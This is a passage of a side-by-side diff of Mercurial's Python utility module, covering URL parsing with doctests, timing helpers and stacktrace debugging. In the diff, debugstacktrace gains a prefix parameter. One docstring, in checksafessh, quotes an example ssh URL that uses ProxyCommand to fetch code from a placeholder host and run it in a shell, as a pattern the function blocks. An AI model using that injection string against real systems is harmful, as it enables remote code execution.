2975 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2975 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2976 >>> url(b'ssh://joe@x/repo')
2976 >>> url(b'ssh://joe@x/repo')
2977 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2977 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2978
2978
2979 Query strings and fragments:
2979 Query strings and fragments:
2980
2980
2981 >>> url(b'http://host/a?b#c')
2981 >>> url(b'http://host/a?b#c')
2982 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2982 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2983 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2983 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2984 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2984 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2985
2985
2986 Empty path:
2986 Empty path:
2987
2987
2988 >>> url(b'')
2988 >>> url(b'')
2989 <url path: ''>
2989 <url path: ''>
2990 >>> url(b'#a')
2990 >>> url(b'#a')
2991 <url path: '', fragment: 'a'>
2991 <url path: '', fragment: 'a'>
2992 >>> url(b'http://host/')
2992 >>> url(b'http://host/')
2993 <url scheme: 'http', host: 'host', path: ''>
2993 <url scheme: 'http', host: 'host', path: ''>
2994 >>> url(b'http://host/#a')
2994 >>> url(b'http://host/#a')
2995 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2995 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2996
2996
2997 Only scheme:
2997 Only scheme:
2998
2998
2999 >>> url(b'http:')
2999 >>> url(b'http:')
3000 <url scheme: 'http'>
3000 <url scheme: 'http'>
3001 """
3001 """
3002
3002
3003 _safechars = b"!~*'()+"
3003 _safechars = b"!~*'()+"
3004 _safepchars = b"/!~*'()+:\\"
3004 _safepchars = b"/!~*'()+:\\"
3005 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3005 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3006
3006
3007 def __init__(self, path, parsequery=True, parsefragment=True):
3007 def __init__(self, path, parsequery=True, parsefragment=True):
3008 # We slowly chomp away at path until we have only the path left
3008 # We slowly chomp away at path until we have only the path left
3009 self.scheme = self.user = self.passwd = self.host = None
3009 self.scheme = self.user = self.passwd = self.host = None
3010 self.port = self.path = self.query = self.fragment = None
3010 self.port = self.path = self.query = self.fragment = None
3011 self._localpath = True
3011 self._localpath = True
3012 self._hostport = b''
3012 self._hostport = b''
3013 self._origpath = path
3013 self._origpath = path
3014
3014
3015 if parsefragment and b'#' in path:
3015 if parsefragment and b'#' in path:
3016 path, self.fragment = path.split(b'#', 1)
3016 path, self.fragment = path.split(b'#', 1)
3017
3017
3018 # special case for Windows drive letters and UNC paths
3018 # special case for Windows drive letters and UNC paths
3019 if hasdriveletter(path) or path.startswith(b'\\\\'):
3019 if hasdriveletter(path) or path.startswith(b'\\\\'):
3020 self.path = path
3020 self.path = path
3021 return
3021 return
3022
3022
3023 # For compatibility reasons, we can't handle bundle paths as
3023 # For compatibility reasons, we can't handle bundle paths as
3024 # normal URLS
3024 # normal URLS
3025 if path.startswith(b'bundle:'):
3025 if path.startswith(b'bundle:'):
3026 self.scheme = b'bundle'
3026 self.scheme = b'bundle'
3027 path = path[7:]
3027 path = path[7:]
3028 if path.startswith(b'//'):
3028 if path.startswith(b'//'):
3029 path = path[2:]
3029 path = path[2:]
3030 self.path = path
3030 self.path = path
3031 return
3031 return
3032
3032
3033 if self._matchscheme(path):
3033 if self._matchscheme(path):
3034 parts = path.split(b':', 1)
3034 parts = path.split(b':', 1)
3035 if parts[0]:
3035 if parts[0]:
3036 self.scheme, path = parts
3036 self.scheme, path = parts
3037 self._localpath = False
3037 self._localpath = False
3038
3038
3039 if not path:
3039 if not path:
3040 path = None
3040 path = None
3041 if self._localpath:
3041 if self._localpath:
3042 self.path = b''
3042 self.path = b''
3043 return
3043 return
3044 else:
3044 else:
3045 if self._localpath:
3045 if self._localpath:
3046 self.path = path
3046 self.path = path
3047 return
3047 return
3048
3048
3049 if parsequery and b'?' in path:
3049 if parsequery and b'?' in path:
3050 path, self.query = path.split(b'?', 1)
3050 path, self.query = path.split(b'?', 1)
3051 if not path:
3051 if not path:
3052 path = None
3052 path = None
3053 if not self.query:
3053 if not self.query:
3054 self.query = None
3054 self.query = None
3055
3055
3056 # // is required to specify a host/authority
3056 # // is required to specify a host/authority
3057 if path and path.startswith(b'//'):
3057 if path and path.startswith(b'//'):
3058 parts = path[2:].split(b'/', 1)
3058 parts = path[2:].split(b'/', 1)
3059 if len(parts) > 1:
3059 if len(parts) > 1:
3060 self.host, path = parts
3060 self.host, path = parts
3061 else:
3061 else:
3062 self.host = parts[0]
3062 self.host = parts[0]
3063 path = None
3063 path = None
3064 if not self.host:
3064 if not self.host:
3065 self.host = None
3065 self.host = None
3066 # path of file:///d is /d
3066 # path of file:///d is /d
3067 # path of file:///d:/ is d:/, not /d:/
3067 # path of file:///d:/ is d:/, not /d:/
3068 if path and not hasdriveletter(path):
3068 if path and not hasdriveletter(path):
3069 path = b'/' + path
3069 path = b'/' + path
3070
3070
3071 if self.host and b'@' in self.host:
3071 if self.host and b'@' in self.host:
3072 self.user, self.host = self.host.rsplit(b'@', 1)
3072 self.user, self.host = self.host.rsplit(b'@', 1)
3073 if b':' in self.user:
3073 if b':' in self.user:
3074 self.user, self.passwd = self.user.split(b':', 1)
3074 self.user, self.passwd = self.user.split(b':', 1)
3075 if not self.host:
3075 if not self.host:
3076 self.host = None
3076 self.host = None
3077
3077
3078 # Don't split on colons in IPv6 addresses without ports
3078 # Don't split on colons in IPv6 addresses without ports
3079 if (
3079 if (
3080 self.host
3080 self.host
3081 and b':' in self.host
3081 and b':' in self.host
3082 and not (
3082 and not (
3083 self.host.startswith(b'[') and self.host.endswith(b']')
3083 self.host.startswith(b'[') and self.host.endswith(b']')
3084 )
3084 )
3085 ):
3085 ):
3086 self._hostport = self.host
3086 self._hostport = self.host
3087 self.host, self.port = self.host.rsplit(b':', 1)
3087 self.host, self.port = self.host.rsplit(b':', 1)
3088 if not self.host:
3088 if not self.host:
3089 self.host = None
3089 self.host = None
3090
3090
3091 if (
3091 if (
3092 self.host
3092 self.host
3093 and self.scheme == b'file'
3093 and self.scheme == b'file'
3094 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3094 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3095 ):
3095 ):
3096 raise error.Abort(
3096 raise error.Abort(
3097 _(b'file:// URLs can only refer to localhost')
3097 _(b'file:// URLs can only refer to localhost')
3098 )
3098 )
3099
3099
3100 self.path = path
3100 self.path = path
3101
3101
3102 # leave the query string escaped
3102 # leave the query string escaped
3103 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3103 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3104 v = getattr(self, a)
3104 v = getattr(self, a)
3105 if v is not None:
3105 if v is not None:
3106 setattr(self, a, urlreq.unquote(v))
3106 setattr(self, a, urlreq.unquote(v))
3107
3107
3108 @encoding.strmethod
3108 @encoding.strmethod
3109 def __repr__(self):
3109 def __repr__(self):
3110 attrs = []
3110 attrs = []
3111 for a in (
3111 for a in (
3112 b'scheme',
3112 b'scheme',
3113 b'user',
3113 b'user',
3114 b'passwd',
3114 b'passwd',
3115 b'host',
3115 b'host',
3116 b'port',
3116 b'port',
3117 b'path',
3117 b'path',
3118 b'query',
3118 b'query',
3119 b'fragment',
3119 b'fragment',
3120 ):
3120 ):
3121 v = getattr(self, a)
3121 v = getattr(self, a)
3122 if v is not None:
3122 if v is not None:
3123 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3123 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3124 return b'<url %s>' % b', '.join(attrs)
3124 return b'<url %s>' % b', '.join(attrs)
3125
3125
3126 def __bytes__(self):
3126 def __bytes__(self):
3127 r"""Join the URL's components back into a URL string.
3127 r"""Join the URL's components back into a URL string.
3128
3128
3129 Examples:
3129 Examples:
3130
3130
3131 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3131 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3132 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3132 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3133 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3133 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3134 'http://user:pw@host:80/?foo=bar&baz=42'
3134 'http://user:pw@host:80/?foo=bar&baz=42'
3135 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3135 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3136 'http://user:pw@host:80/?foo=bar%3dbaz'
3136 'http://user:pw@host:80/?foo=bar%3dbaz'
3137 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3137 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3138 'ssh://user:pw@[::1]:2200//home/joe#'
3138 'ssh://user:pw@[::1]:2200//home/joe#'
3139 >>> bytes(url(b'http://localhost:80//'))
3139 >>> bytes(url(b'http://localhost:80//'))
3140 'http://localhost:80//'
3140 'http://localhost:80//'
3141 >>> bytes(url(b'http://localhost:80/'))
3141 >>> bytes(url(b'http://localhost:80/'))
3142 'http://localhost:80/'
3142 'http://localhost:80/'
3143 >>> bytes(url(b'http://localhost:80'))
3143 >>> bytes(url(b'http://localhost:80'))
3144 'http://localhost:80/'
3144 'http://localhost:80/'
3145 >>> bytes(url(b'bundle:foo'))
3145 >>> bytes(url(b'bundle:foo'))
3146 'bundle:foo'
3146 'bundle:foo'
3147 >>> bytes(url(b'bundle://../foo'))
3147 >>> bytes(url(b'bundle://../foo'))
3148 'bundle:../foo'
3148 'bundle:../foo'
3149 >>> bytes(url(b'path'))
3149 >>> bytes(url(b'path'))
3150 'path'
3150 'path'
3151 >>> bytes(url(b'file:///tmp/foo/bar'))
3151 >>> bytes(url(b'file:///tmp/foo/bar'))
3152 'file:///tmp/foo/bar'
3152 'file:///tmp/foo/bar'
3153 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3153 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3154 'file:///c:/tmp/foo/bar'
3154 'file:///c:/tmp/foo/bar'
3155 >>> print(url(br'bundle:foo\bar'))
3155 >>> print(url(br'bundle:foo\bar'))
3156 bundle:foo\bar
3156 bundle:foo\bar
3157 >>> print(url(br'file:///D:\data\hg'))
3157 >>> print(url(br'file:///D:\data\hg'))
3158 file:///D:\data\hg
3158 file:///D:\data\hg
3159 """
3159 """
3160 if self._localpath:
3160 if self._localpath:
3161 s = self.path
3161 s = self.path
3162 if self.scheme == b'bundle':
3162 if self.scheme == b'bundle':
3163 s = b'bundle:' + s
3163 s = b'bundle:' + s
3164 if self.fragment:
3164 if self.fragment:
3165 s += b'#' + self.fragment
3165 s += b'#' + self.fragment
3166 return s
3166 return s
3167
3167
3168 s = self.scheme + b':'
3168 s = self.scheme + b':'
3169 if self.user or self.passwd or self.host:
3169 if self.user or self.passwd or self.host:
3170 s += b'//'
3170 s += b'//'
3171 elif self.scheme and (
3171 elif self.scheme and (
3172 not self.path
3172 not self.path
3173 or self.path.startswith(b'/')
3173 or self.path.startswith(b'/')
3174 or hasdriveletter(self.path)
3174 or hasdriveletter(self.path)
3175 ):
3175 ):
3176 s += b'//'
3176 s += b'//'
3177 if hasdriveletter(self.path):
3177 if hasdriveletter(self.path):
3178 s += b'/'
3178 s += b'/'
3179 if self.user:
3179 if self.user:
3180 s += urlreq.quote(self.user, safe=self._safechars)
3180 s += urlreq.quote(self.user, safe=self._safechars)
3181 if self.passwd:
3181 if self.passwd:
3182 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3182 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3183 if self.user or self.passwd:
3183 if self.user or self.passwd:
3184 s += b'@'
3184 s += b'@'
3185 if self.host:
3185 if self.host:
3186 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3186 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3187 s += urlreq.quote(self.host)
3187 s += urlreq.quote(self.host)
3188 else:
3188 else:
3189 s += self.host
3189 s += self.host
3190 if self.port:
3190 if self.port:
3191 s += b':' + urlreq.quote(self.port)
3191 s += b':' + urlreq.quote(self.port)
3192 if self.host:
3192 if self.host:
3193 s += b'/'
3193 s += b'/'
3194 if self.path:
3194 if self.path:
3195 # TODO: similar to the query string, we should not unescape the
3195 # TODO: similar to the query string, we should not unescape the
3196 # path when we store it, the path might contain '%2f' = '/',
3196 # path when we store it, the path might contain '%2f' = '/',
3197 # which we should *not* escape.
3197 # which we should *not* escape.
3198 s += urlreq.quote(self.path, safe=self._safepchars)
3198 s += urlreq.quote(self.path, safe=self._safepchars)
3199 if self.query:
3199 if self.query:
3200 # we store the query in escaped form.
3200 # we store the query in escaped form.
3201 s += b'?' + self.query
3201 s += b'?' + self.query
3202 if self.fragment is not None:
3202 if self.fragment is not None:
3203 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3203 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3204 return s
3204 return s
3205
3205
3206 __str__ = encoding.strmethod(__bytes__)
3206 __str__ = encoding.strmethod(__bytes__)
3207
3207
3208 def authinfo(self):
3208 def authinfo(self):
3209 user, passwd = self.user, self.passwd
3209 user, passwd = self.user, self.passwd
3210 try:
3210 try:
3211 self.user, self.passwd = None, None
3211 self.user, self.passwd = None, None
3212 s = bytes(self)
3212 s = bytes(self)
3213 finally:
3213 finally:
3214 self.user, self.passwd = user, passwd
3214 self.user, self.passwd = user, passwd
3215 if not self.user:
3215 if not self.user:
3216 return (s, None)
3216 return (s, None)
3217 # authinfo[1] is passed to urllib2 password manager, and its
3217 # authinfo[1] is passed to urllib2 password manager, and its
3218 # URIs must not contain credentials. The host is passed in the
3218 # URIs must not contain credentials. The host is passed in the
3219 # URIs list because Python < 2.4.3 uses only that to search for
3219 # URIs list because Python < 2.4.3 uses only that to search for
3220 # a password.
3220 # a password.
3221 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3221 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3222
3222
3223 def isabs(self):
3223 def isabs(self):
3224 if self.scheme and self.scheme != b'file':
3224 if self.scheme and self.scheme != b'file':
3225 return True # remote URL
3225 return True # remote URL
3226 if hasdriveletter(self.path):
3226 if hasdriveletter(self.path):
3227 return True # absolute for our purposes - can't be joined()
3227 return True # absolute for our purposes - can't be joined()
3228 if self.path.startswith(br'\\'):
3228 if self.path.startswith(br'\\'):
3229 return True # Windows UNC path
3229 return True # Windows UNC path
3230 if self.path.startswith(b'/'):
3230 if self.path.startswith(b'/'):
3231 return True # POSIX-style
3231 return True # POSIX-style
3232 return False
3232 return False
3233
3233
3234 def localpath(self):
3234 def localpath(self):
3235 if self.scheme == b'file' or self.scheme == b'bundle':
3235 if self.scheme == b'file' or self.scheme == b'bundle':
3236 path = self.path or b'/'
3236 path = self.path or b'/'
3237 # For Windows, we need to promote hosts containing drive
3237 # For Windows, we need to promote hosts containing drive
3238 # letters to paths with drive letters.
3238 # letters to paths with drive letters.
3239 if hasdriveletter(self._hostport):
3239 if hasdriveletter(self._hostport):
3240 path = self._hostport + b'/' + self.path
3240 path = self._hostport + b'/' + self.path
3241 elif (
3241 elif (
3242 self.host is not None and self.path and not hasdriveletter(path)
3242 self.host is not None and self.path and not hasdriveletter(path)
3243 ):
3243 ):
3244 path = b'/' + path
3244 path = b'/' + path
3245 return path
3245 return path
3246 return self._origpath
3246 return self._origpath
3247
3247
3248 def islocal(self):
3248 def islocal(self):
3249 '''whether localpath will return something that posixfile can open'''
3249 '''whether localpath will return something that posixfile can open'''
3250 return (
3250 return (
3251 not self.scheme
3251 not self.scheme
3252 or self.scheme == b'file'
3252 or self.scheme == b'file'
3253 or self.scheme == b'bundle'
3253 or self.scheme == b'bundle'
3254 )
3254 )
3255
3255
3256
3256
3257 def hasscheme(path):
3257 def hasscheme(path):
3258 return bool(url(path).scheme)
3258 return bool(url(path).scheme)
3259
3259
3260
3260
3261 def hasdriveletter(path):
3261 def hasdriveletter(path):
3262 return path and path[1:2] == b':' and path[0:1].isalpha()
3262 return path and path[1:2] == b':' and path[0:1].isalpha()
3263
3263
3264
3264
3265 def urllocalpath(path):
3265 def urllocalpath(path):
3266 return url(path, parsequery=False, parsefragment=False).localpath()
3266 return url(path, parsequery=False, parsefragment=False).localpath()
3267
3267
3268
3268
3269 def checksafessh(path):
3269 def checksafessh(path):
3270 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3270 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3271
3271
3272 This is a sanity check for ssh urls. ssh will parse the first item as
3272 This is a sanity check for ssh urls. ssh will parse the first item as
3273 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3273 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3274 Let's prevent these potentially exploited urls entirely and warn the
3274 Let's prevent these potentially exploited urls entirely and warn the
3275 user.
3275 user.
3276
3276
3277 Raises an error.Abort when the url is unsafe.
3277 Raises an error.Abort when the url is unsafe.
3278 """
3278 """
3279 path = urlreq.unquote(path)
3279 path = urlreq.unquote(path)
3280 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3280 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3281 raise error.Abort(
3281 raise error.Abort(
3282 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3282 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3283 )
3283 )
3284
3284
3285
3285
3286 def hidepassword(u):
3286 def hidepassword(u):
3287 '''hide user credential in a url string'''
3287 '''hide user credential in a url string'''
3288 u = url(u)
3288 u = url(u)
3289 if u.passwd:
3289 if u.passwd:
3290 u.passwd = b'***'
3290 u.passwd = b'***'
3291 return bytes(u)
3291 return bytes(u)
3292
3292
3293
3293
3294 def removeauth(u):
3294 def removeauth(u):
3295 '''remove all authentication information from a url string'''
3295 '''remove all authentication information from a url string'''
3296 u = url(u)
3296 u = url(u)
3297 u.user = u.passwd = None
3297 u.user = u.passwd = None
3298 return bytes(u)
3298 return bytes(u)
3299
3299
3300
3300
3301 timecount = unitcountfn(
3301 timecount = unitcountfn(
3302 (1, 1e3, _(b'%.0f s')),
3302 (1, 1e3, _(b'%.0f s')),
3303 (100, 1, _(b'%.1f s')),
3303 (100, 1, _(b'%.1f s')),
3304 (10, 1, _(b'%.2f s')),
3304 (10, 1, _(b'%.2f s')),
3305 (1, 1, _(b'%.3f s')),
3305 (1, 1, _(b'%.3f s')),
3306 (100, 0.001, _(b'%.1f ms')),
3306 (100, 0.001, _(b'%.1f ms')),
3307 (10, 0.001, _(b'%.2f ms')),
3307 (10, 0.001, _(b'%.2f ms')),
3308 (1, 0.001, _(b'%.3f ms')),
3308 (1, 0.001, _(b'%.3f ms')),
3309 (100, 0.000001, _(b'%.1f us')),
3309 (100, 0.000001, _(b'%.1f us')),
3310 (10, 0.000001, _(b'%.2f us')),
3310 (10, 0.000001, _(b'%.2f us')),
3311 (1, 0.000001, _(b'%.3f us')),
3311 (1, 0.000001, _(b'%.3f us')),
3312 (100, 0.000000001, _(b'%.1f ns')),
3312 (100, 0.000000001, _(b'%.1f ns')),
3313 (10, 0.000000001, _(b'%.2f ns')),
3313 (10, 0.000000001, _(b'%.2f ns')),
3314 (1, 0.000000001, _(b'%.3f ns')),
3314 (1, 0.000000001, _(b'%.3f ns')),
3315 )
3315 )
3316
3316
3317
3317
3318 @attr.s
3318 @attr.s
3319 class timedcmstats(object):
3319 class timedcmstats(object):
3320 """Stats information produced by the timedcm context manager on entering."""
3320 """Stats information produced by the timedcm context manager on entering."""
3321
3321
3322 # the starting value of the timer as a float (meaning and resulution is
3322 # the starting value of the timer as a float (meaning and resulution is
3323 # platform dependent, see util.timer)
3323 # platform dependent, see util.timer)
3324 start = attr.ib(default=attr.Factory(lambda: timer()))
3324 start = attr.ib(default=attr.Factory(lambda: timer()))
3325 # the number of seconds as a floating point value; starts at 0, updated when
3325 # the number of seconds as a floating point value; starts at 0, updated when
3326 # the context is exited.
3326 # the context is exited.
3327 elapsed = attr.ib(default=0)
3327 elapsed = attr.ib(default=0)
3328 # the number of nested timedcm context managers.
3328 # the number of nested timedcm context managers.
3329 level = attr.ib(default=1)
3329 level = attr.ib(default=1)
3330
3330
3331 def __bytes__(self):
3331 def __bytes__(self):
3332 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3332 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3333
3333
3334 __str__ = encoding.strmethod(__bytes__)
3334 __str__ = encoding.strmethod(__bytes__)
3335
3335
3336
3336
3337 @contextlib.contextmanager
3337 @contextlib.contextmanager
3338 def timedcm(whencefmt, *whenceargs):
3338 def timedcm(whencefmt, *whenceargs):
3339 """A context manager that produces timing information for a given context.
3339 """A context manager that produces timing information for a given context.
3340
3340
3341 On entering a timedcmstats instance is produced.
3341 On entering a timedcmstats instance is produced.
3342
3342
3343 This context manager is reentrant.
3343 This context manager is reentrant.
3344
3344
3345 """
3345 """
3346 # track nested context managers
3346 # track nested context managers
3347 timedcm._nested += 1
3347 timedcm._nested += 1
3348 timing_stats = timedcmstats(level=timedcm._nested)
3348 timing_stats = timedcmstats(level=timedcm._nested)
3349 try:
3349 try:
3350 with tracing.log(whencefmt, *whenceargs):
3350 with tracing.log(whencefmt, *whenceargs):
3351 yield timing_stats
3351 yield timing_stats
3352 finally:
3352 finally:
3353 timing_stats.elapsed = timer() - timing_stats.start
3353 timing_stats.elapsed = timer() - timing_stats.start
3354 timedcm._nested -= 1
3354 timedcm._nested -= 1
3355
3355
3356
3356
3357 timedcm._nested = 0
3357 timedcm._nested = 0
3358
3358
3359
3359
3360 def timed(func):
3360 def timed(func):
3361 '''Report the execution time of a function call to stderr.
3361 '''Report the execution time of a function call to stderr.
3362
3362
3363 During development, use as a decorator when you need to measure
3363 During development, use as a decorator when you need to measure
3364 the cost of a function, e.g. as follows:
3364 the cost of a function, e.g. as follows:
3365
3365
3366 @util.timed
3366 @util.timed
3367 def foo(a, b, c):
3367 def foo(a, b, c):
3368 pass
3368 pass
3369 '''
3369 '''
3370
3370
3371 def wrapper(*args, **kwargs):
3371 def wrapper(*args, **kwargs):
3372 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3372 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3373 result = func(*args, **kwargs)
3373 result = func(*args, **kwargs)
3374 stderr = procutil.stderr
3374 stderr = procutil.stderr
3375 stderr.write(
3375 stderr.write(
3376 b'%s%s: %s\n'
3376 b'%s%s: %s\n'
3377 % (
3377 % (
3378 b' ' * time_stats.level * 2,
3378 b' ' * time_stats.level * 2,
3379 pycompat.bytestr(func.__name__),
3379 pycompat.bytestr(func.__name__),
3380 time_stats,
3380 time_stats,
3381 )
3381 )
3382 )
3382 )
3383 return result
3383 return result
3384
3384
3385 return wrapper
3385 return wrapper
3386
3386
3387
3387
3388 _sizeunits = (
3388 _sizeunits = (
3389 (b'm', 2 ** 20),
3389 (b'm', 2 ** 20),
3390 (b'k', 2 ** 10),
3390 (b'k', 2 ** 10),
3391 (b'g', 2 ** 30),
3391 (b'g', 2 ** 30),
3392 (b'kb', 2 ** 10),
3392 (b'kb', 2 ** 10),
3393 (b'mb', 2 ** 20),
3393 (b'mb', 2 ** 20),
3394 (b'gb', 2 ** 30),
3394 (b'gb', 2 ** 30),
3395 (b'b', 1),
3395 (b'b', 1),
3396 )
3396 )
3397
3397
3398
3398
3399 def sizetoint(s):
3399 def sizetoint(s):
3400 '''Convert a space specifier to a byte count.
3400 '''Convert a space specifier to a byte count.
3401
3401
3402 >>> sizetoint(b'30')
3402 >>> sizetoint(b'30')
3403 30
3403 30
3404 >>> sizetoint(b'2.2kb')
3404 >>> sizetoint(b'2.2kb')
3405 2252
3405 2252
3406 >>> sizetoint(b'6M')
3406 >>> sizetoint(b'6M')
3407 6291456
3407 6291456
3408 '''
3408 '''
3409 t = s.strip().lower()
3409 t = s.strip().lower()
3410 try:
3410 try:
3411 for k, u in _sizeunits:
3411 for k, u in _sizeunits:
3412 if t.endswith(k):
3412 if t.endswith(k):
3413 return int(float(t[: -len(k)]) * u)
3413 return int(float(t[: -len(k)]) * u)
3414 return int(t)
3414 return int(t)
3415 except ValueError:
3415 except ValueError:
3416 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3416 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3417
3417
3418
3418
3419 class hooks(object):
3419 class hooks(object):
3420 '''A collection of hook functions that can be used to extend a
3420 '''A collection of hook functions that can be used to extend a
3421 function's behavior. Hooks are called in lexicographic order,
3421 function's behavior. Hooks are called in lexicographic order,
3422 based on the names of their sources.'''
3422 based on the names of their sources.'''
3423
3423
3424 def __init__(self):
3424 def __init__(self):
3425 self._hooks = []
3425 self._hooks = []
3426
3426
3427 def add(self, source, hook):
3427 def add(self, source, hook):
3428 self._hooks.append((source, hook))
3428 self._hooks.append((source, hook))
3429
3429
3430 def __call__(self, *args):
3430 def __call__(self, *args):
3431 self._hooks.sort(key=lambda x: x[0])
3431 self._hooks.sort(key=lambda x: x[0])
3432 results = []
3432 results = []
3433 for source, hook in self._hooks:
3433 for source, hook in self._hooks:
3434 results.append(hook(*args))
3434 results.append(hook(*args))
3435 return results
3435 return results
3436
3436
3437
3437
3438 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3438 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3439 '''Yields lines for a nicely formatted stacktrace.
3439 '''Yields lines for a nicely formatted stacktrace.
3440 Skips the 'skip' last entries, then return the last 'depth' entries.
3440 Skips the 'skip' last entries, then return the last 'depth' entries.
3441 Each file+linenumber is formatted according to fileline.
3441 Each file+linenumber is formatted according to fileline.
3442 Each line is formatted according to line.
3442 Each line is formatted according to line.
3443 If line is None, it yields:
3443 If line is None, it yields:
3444 length of longest filepath+line number,
3444 length of longest filepath+line number,
3445 filepath+linenumber,
3445 filepath+linenumber,
3446 function
3446 function
3447
3447
3448 Not be used in production code but very convenient while developing.
3448 Not be used in production code but very convenient while developing.
3449 '''
3449 '''
3450 entries = [
3450 entries = [
3451 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3451 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3452 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3452 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3453 ][-depth:]
3453 ][-depth:]
3454 if entries:
3454 if entries:
3455 fnmax = max(len(entry[0]) for entry in entries)
3455 fnmax = max(len(entry[0]) for entry in entries)
3456 for fnln, func in entries:
3456 for fnln, func in entries:
3457 if line is None:
3457 if line is None:
3458 yield (fnmax, fnln, func)
3458 yield (fnmax, fnln, func)
3459 else:
3459 else:
3460 yield line % (fnmax, fnln, func)
3460 yield line % (fnmax, fnln, func)
3461
3461
3462
3462
3463 def debugstacktrace(
3463 def debugstacktrace(
3464 msg=b'stacktrace',
3464 msg=b'stacktrace',
3465 skip=0,
3465 skip=0,
3466 f=procutil.stderr,
3466 f=procutil.stderr,
3467 otherf=procutil.stdout,
3467 otherf=procutil.stdout,
3468 depth=0,
3468 depth=0,
3469 prefix=b'',
3469 ):
3470 ):
3470 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3471 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3471 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3472 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3472 By default it will flush stdout first.
3473 By default it will flush stdout first.
3473 It can be used everywhere and intentionally does not require an ui object.
3474 It can be used everywhere and intentionally does not require an ui object.
3474 Not be used in production code but very convenient while developing.
3475 Not be used in production code but very convenient while developing.
3475 '''
3476 '''
3476 if otherf:
3477 if otherf:
3477 otherf.flush()
3478 otherf.flush()
3478 f.write(b'%s at:\n' % msg.rstrip())
3479 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3479 for line in getstackframes(skip + 1, depth=depth):
3480 for line in getstackframes(skip + 1, depth=depth):
3480 f.write(line)
3481 f.write(prefix + line)
3481 f.flush()
3482 f.flush()
3482
3483
3483
3484
3484 # convenient shortcut
3485 # convenient shortcut
3485 dst = debugstacktrace
3486 dst = debugstacktrace
3486
3487
3487
3488
3488 def safename(f, tag, ctx, others=None):
3489 def safename(f, tag, ctx, others=None):
3489 """
3490 """
3490 Generate a name that it is safe to rename f to in the given context.
3491 Generate a name that it is safe to rename f to in the given context.
3491
3492
3492 f: filename to rename
3493 f: filename to rename
3493 tag: a string tag that will be included in the new name
3494 tag: a string tag that will be included in the new name
3494 ctx: a context, in which the new name must not exist
3495 ctx: a context, in which the new name must not exist
3495 others: a set of other filenames that the new name must not be in
3496 others: a set of other filenames that the new name must not be in
3496
3497
3497 Returns a file name of the form oldname~tag[~number] which does not exist
3498 Returns a file name of the form oldname~tag[~number] which does not exist
3498 in the provided context and is not in the set of other names.
3499 in the provided context and is not in the set of other names.
3499 """
3500 """
3500 if others is None:
3501 if others is None:
3501 others = set()
3502 others = set()
3502
3503
3503 fn = b'%s~%s' % (f, tag)
